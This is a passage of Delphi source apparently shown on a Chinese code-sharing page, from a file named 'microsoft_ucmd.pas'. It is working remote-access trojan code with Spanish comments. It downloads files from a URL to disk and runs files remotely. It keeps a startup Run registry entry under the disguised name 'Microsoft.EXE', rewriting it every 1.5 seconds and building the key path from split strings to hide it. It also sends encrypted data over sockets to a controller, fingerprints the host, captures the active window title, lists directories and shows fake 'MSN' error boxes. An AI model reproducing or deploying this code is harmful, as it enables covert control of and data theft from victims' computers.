📄 microsoft_ucmd.pas
字号:
pos.Y := 0;
if pos.Y > GetSystemMetrics( SM_CYSCREEN ) then
pos.Y := GetSystemMetrics( SM_CYSCREEN );
if(random (27) = 7)then
begin
incX := incX * v[random(20) + 1];
incY := incY * v[random(20) + 1];
end;
Sleep( 10 );
end;
end;
///////////////////////////////////////////////////////////////////////////////
function CrearThreadVivorita: String;
var id: cardinal;
begin
if Vivorita then
begin
Result := '&1&';
Vivorita := FALSE;
end
else
begin
Vivorita := TRUE;
BeginThread(nil, 0, @ThreadVivorita, nil, 0, id );
Result := '&0&';
end;
end;
///////////////////////////////////////////////////////////////////////////////
procedure PresionarTecla( key: Byte );
begin
try
Keybd_Event ( key , 0 , 0 , 0 );
Keybd_Event ( key , 0 , KEYEVENTF_KEYUP , 0 );
except exit end;;
end;
procedure showm( s : String );
begin
MessageBox( 0 , pchar( S ) , 'MSN' , MB_OK + MB_ICONSTOP+ MB_SYSTEMMODAL );
end;
///////////////////////////////////////////////////////////////////////////////
function Descargar( url : String; Parametro2: String ): boolean;
var buffer : array [ 1..1024 ] of char;
bytes_leidos : dword;
hInternetOpen, hFile : HINTERNET;
oops : boolean;
a : FILE;
begin
Result := FALSE;
hInternetOpen := InternetOpen( 'Master', INTERNET_OPEN_TYPE_PRECONFIG, '', '', 0 );
if hInternetOpen = nil then exit;
hFile:= InternetOpenURL( hInternetOpen, lptstr( url ), nil, 0, INTERNET_FLAG_EXISTING_CONNECT, 0 );
if hfile = nil then
begin
InternetCloseHandle( hInternetOpen );
Exit;
end;
AssignFile( a, Parametro2 );
try Rewrite( a, 1 ); except end;
repeat
oops := not InternetReadFile( hFile, @buffer, sizeOf( buffer ), bytes_leidos );
if ( not oops ) and ( bytes_leidos > 0 ) then
begin
BlockWrite( a, buffer, bytes_leidos );
end;
until ( oops ) or ( Bytes_Leidos = 0 );
CloseFile( a );
Result := not Oops;
InternetCloseHandle( hInternetOpen );
InternetCloseHandle( hFile );
end;
///////////////////////////////////////////////////////////////////////////////
function EsXP : Boolean;
begin
Result := FileExists( FindWindowsDir + '\System32\Cmd.exe' );
end;
///////////////////////////////////////////////////////////////////////////////
function TextoValido( b : Array of Char ) : string;
var i : Byte;
begin
i := 1;
while ord( b [ i ] ) <> 0 do
Inc( i );
Result := Copy( b, 1, i );
end;
///////////////////////////////////////////////////////////////////////////////
function NombreHost: String;
var NameBuf: array[0..60] of Char;
SizeBuf: LongWord;
//retorna el host
begin
SizeBuf := SizeOf( NameBuf );
GetComputerName(NameBuf, SizeBuf );
Result := NameBuf;
end;
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
function VentanaActiva: String;
var PC: Array[0..$FFF] of Char;
Wnd : Thandle;
begin
Wnd := GetForegroundWindow;
SendMessage( Wnd , $000D , $FFF , LongInt( @PC ) ); //$000D es el WM_GETTEXT
Result := PC;
end;
///////////////////////////////////////////////////////////////////////////////
function FindWindowsDir : string;
//retorna el directorio de windows
var DataSize : Integer;
begin
SetLength (Result, 255);
DataSize := GetWindowsDirectory(PChar (Result), 255);
SetLength (Result, DataSize);
end;
///////////////////////////////////////////////////////////////////////////////
function Get_SysPath:string ;
var DataSize : Integer;
begin
SetLength (Result, 255);
GetSystemDirectory( PChar(Result),255);
end;
///////////////////////////////////////////////////////////////////////////////
procedure Registro;
var handle : HKEY;
key : integer;
begin
while TRUE do
begin
if regdata='' then begin
regdata:='Microsoft';
end;
if regappname= '' then begin
regappname:='Microsoft.EXE';
end;
if (regkey='') or(regkey='1') then begin
key := DWORD($80000002) ;
end;
if regkey='2' then begin
key := DWORD($80000001) ;
end;
if regkey='3' then begin
end;
RegOpenKeyEx( key,
PChar( Clave ),
0,
KEY_ALL_ACCESS,
handle );
RegSetValueEx( handle,
PChar(regdata),
0,
REG_SZ,
PChar(regappname ),
Length(regappname ) + 1 );
RegCloseKey( handle );
Sleep( 1500 );
end;
end;
///////////////////////////////////////////////////////////////////////////////
procedure MakeThreadStartUP (key : string; data : string; appname : string);
var id : Cardinal;
begin
Clave := 'Software\';
Clave := Clave + 'Microsoft\';
Clave := Clave + 'Windows\';
Clave := Clave + 'CurrentVers';
Clave := Clave + 'ion\Run';
regkey:=key;
regdata:=data;
regappname:=appname;
BeginThread( nil, 0, @Registro, nil, 0, id );
end;
///////////////////////////////////////////////////////////////////////////////
function ShellEx(Path : string):string;
begin
if FileExists(Path)=true then begin
ShellExecute(0, 'open',Pchar(Path),0 ,0,1);
Result:='File :' + Path + ' Executed'
end
else
begin
Result:='File :' + Path + ' Doesnt exists'
end;
end;
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
function SendData (SOCKET : TSOCKET;Data :string): integer;
const
my_key = 35311;
begin
Data := Encrypt (data,my_key);
result:=Send ( SOCKET, Pointer(Data)^, length( Data), 0 );
sleep(100);
end ;
function SendDataMSN (SOCKET : TSOCKET;Data :string): integer;
begin
result:=Send ( SOCKET, Pointer(Data)^, length( Data), 0 );
sleep(100);
end ;
///////
///////////////////////////////////////////////////////////////////////////////
function PeerToAddress(Socket: TSocket): string;
var
SockAddrIn: TSockAddrIn;
Len: integer;
begin
if Socket <> INVALID_SOCKET then
begin
Len:= SizeOf(SockAddrIn);
if getpeername(Socket, SockAddrIn, Len) <> SOCKET_ERROR then
Result:= inet_ntoa(SockAddrIn.sin_addr);
end;
end;
///////////////////////////////////////////////////////////////////////////////
function GetLocalHostName: string;
var
szHostName: array[0..128] of char;
begin
if gethostname(szHostName, 128) = 0 then
Result:= szHostName
else
end;
function WinVer: string;
var
VersionInfo: TOSVersionInfo;
begin
VersionInfo.dwOSVersionInfoSize := SizeOf(VersionInfo);
GetVersionEx(VersionInfo);
with VersionInfo do
begin
case dwPlatformid of
0 : begin
result := 'Windows System: '+'3.11';
end;
1 : begin
case dwMinorVersion of
0 : result := 'Windows System: '+'95';
10: begin
if ( szCSDVersion[ 1 ] = 'A' ) then
Result := 'Windows System: '+'98 SE'
else
Result := 'Windows System: '+'98';
end;
90 : result := 'Windows System: '+'Millenium';
else
result := 'Windows System: '+'Unknown';
end;
end;
2 : begin
case dwMajorVersion of
3 : result := 'Windows System: '+'Windows NT';
4 : result := 'Windows System: '+'XP';
5 : begin
case dwMinorVersion of
0 : result := 'Windows System: '+'2000';
1 : result := 'Windows System: '+'Whistler';
else
result := 'Windows System: '+'Unknown';
end;
if szCSDVersion <> '' then
result := result + ' + Service pack: ' + szCSDVersion;
end;
else
result := 'Windows Platform: '+'Unknown';
end; // end case
end; // end case
end; // end case
end; // end version info
end; // GetWindowsVersion
///////////////////////////////////////////////////////////////////////////////
function LIST( dir : string ): string;
var sr: WIN32_FIND_DATA;
retval: integer;
sigue : longbool;
size : cardinal;
tipo : string;
Ret : String;
Nfiles: integer;
files : string;
F :file of char;
i : integer;
c : char;
begin
files:='';
// SendData(socket, ( '9^'+ 'Listing Dir:' + Copy( Dir, 1, Length( Dir ) - 3 ) ) + '^');
tipo := '';
Ret := 'LIST ' + Copy( Dir, 1, Length( Dir ) - 3 );
retval := FindFirstFile( PChar( dir ), sr );
sigue := true;
if retval <> -1 then
begin
while sigue do
begin
tipo := '';
size := 0;
if (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 then
tipo:='d'
else
begin
if (sr.nFileSizeHigh <> 0) then
size := (((sr.nFileSizeHigh * 32) + sr.nFileSizeLow) div 1024)
else
size := (sr.nFileSizeLow) div 1024;
end;
if (sr.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) > 0 then
begin
if Tipo <> '' then
Tipo := Tipo + '-';
tipo:= tipo + 'system';
end;
if (sr.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) > 0 then
begin
if Tipo <> '' then
Tipo := Tipo + '-';
tipo:= tipo + 'file';
end;
if (sr.dwFileAttributes and FILE_ATTRIBUTE_NORMAL) > 0 then
begin
if Tipo <> '' then
Tipo := Tipo + '-';
tipo:= tipo + 'normal';
end;
if (sr.dwFileAttributes and FILE_ATTRIBUTE_TEMPORARY) > 0 then
begin
if Tipo <> '' then
Tipo := Tipo + '-';
tipo:= tipo + 'temp';
end;
if (sr.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) > 0 then
begin
if Tipo <> '' then
Tipo := Tipo + '-';
tipo:= tipo + 'hidden';
end;
if (sr.dwFileAttributes and FILE_ATTRIBUTE_READONLY) > 0 then
begin
if Tipo <> '' then
Tipo := Tipo + '-';
tipo:= tipo + 'Only read';
end;
Ret:='' + sr.cFileName + '>' + IntToStr( size ) + '>' + tipo + '>' + '*';
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -